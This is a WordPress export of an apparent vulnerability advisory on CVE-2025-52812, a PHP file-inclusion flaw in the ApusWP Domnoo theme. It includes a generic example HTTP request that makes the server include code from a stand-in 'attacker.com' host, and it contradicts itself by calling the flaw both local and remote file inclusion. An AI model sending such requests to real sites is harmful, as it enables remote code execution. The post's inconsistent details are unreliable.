{"id":57818,"date":"2025-07-06T09:39:16","date_gmt":"2025-07-06T09:39:16","guid":{"rendered":""},"modified":"2025-07-11T17:02:19","modified_gmt":"2025-07-11T23:02:19","slug":"cve-2025-52812-a-critical-php-remote-file-inclusion-vulnerability-in-apuswp-domnoo","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52812-a-critical-php-remote-file-inclusion-vulnerability-in-apuswp-domnoo\/","title":{"rendered":"<strong>CVE-2025-52812: A Critical PHP Remote File Inclusion Vulnerability in ApusWP Domnoo<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures system (CVE) serves as a catalog for publicly disclosed cybersecurity vulnerabilities. In this post, we will delve into the details of CVE-2025-52812, a critical vulnerability found in ApusWP Domnoo that allows PHP Local File Inclusion. This vulnerability, if exploited, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64584\">lead to system compromise or data leakage<\/a>. It&#8217;s a serious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2015-0843-critical-buffer-overflow-vulnerability-in-yubiserver-before-version-0-6\/\"  data-wpil-monitor-id=\"65143\">vulnerability that affects all versions<\/a> of Domnoo up to 1.49 and requires immediate attention.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52812<br \/>\nSeverity: Critical (8.1 CVSS score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64824\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1686195059\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ApusWP Domnoo | up to 1.49<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29976-improper-privilege-management-vulnerability-in-microsoft-office-sharepoint\/\"  data-wpil-monitor-id=\"64905\">vulnerability lies in the improper<\/a> control of the filename for the include\/require statement in the PHP program. An attacker can manipulate this to include files from remote servers, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65623\">leading to PHP Remote File<\/a> Inclusion (RFI). This means the attacker can execute arbitrary code or scripts disguised as a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64428\">system file<\/a> to gain unauthorized access to the system or exfiltrate data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-477006399\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a malicious HTTP POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48921-cross-site-request-forgery-vulnerability-in-drupal-open-social\/\"  data-wpil-monitor-id=\"65008\">request to a vulnerable<\/a> endpoint on the target server. The payload includes a URL that points to a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65794\">PHP file<\/a> on a different server under the attacker&#8217;s control.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;include_file_url&quot;: &quot;http:\/\/attacker.com\/malicious.php&quot; }<\/code><\/pre>\n<p>In this example, `http:\/\/attacker.com\/malicious.php` is the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64583\">remote file that contains malicious code<\/a>. When this request is processed by the server, the server includes the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64480\">file in its execution<\/a>, causing potential compromise of the system.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users should apply the vendor patch as soon as possible. If applying the patch is not immediately feasible, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. Remember, these mitigation measures only reduce the risk and do not eliminate it. The only surefire way to fix the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53093-critical-security-vulnerability-in-tabberneue-mediawiki-extension\/\"  data-wpil-monitor-id=\"65704\">vulnerability is to update to a secure<\/a> version of the software.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures system (CVE) serves as a catalog for publicly disclosed cybersecurity vulnerabilities. In this post, we will delve into the details of CVE-2025-52812, a critical vulnerability found in ApusWP Domnoo that allows PHP Local File Inclusion. This vulnerability, if exploited, could lead to system compromise or data leakage. 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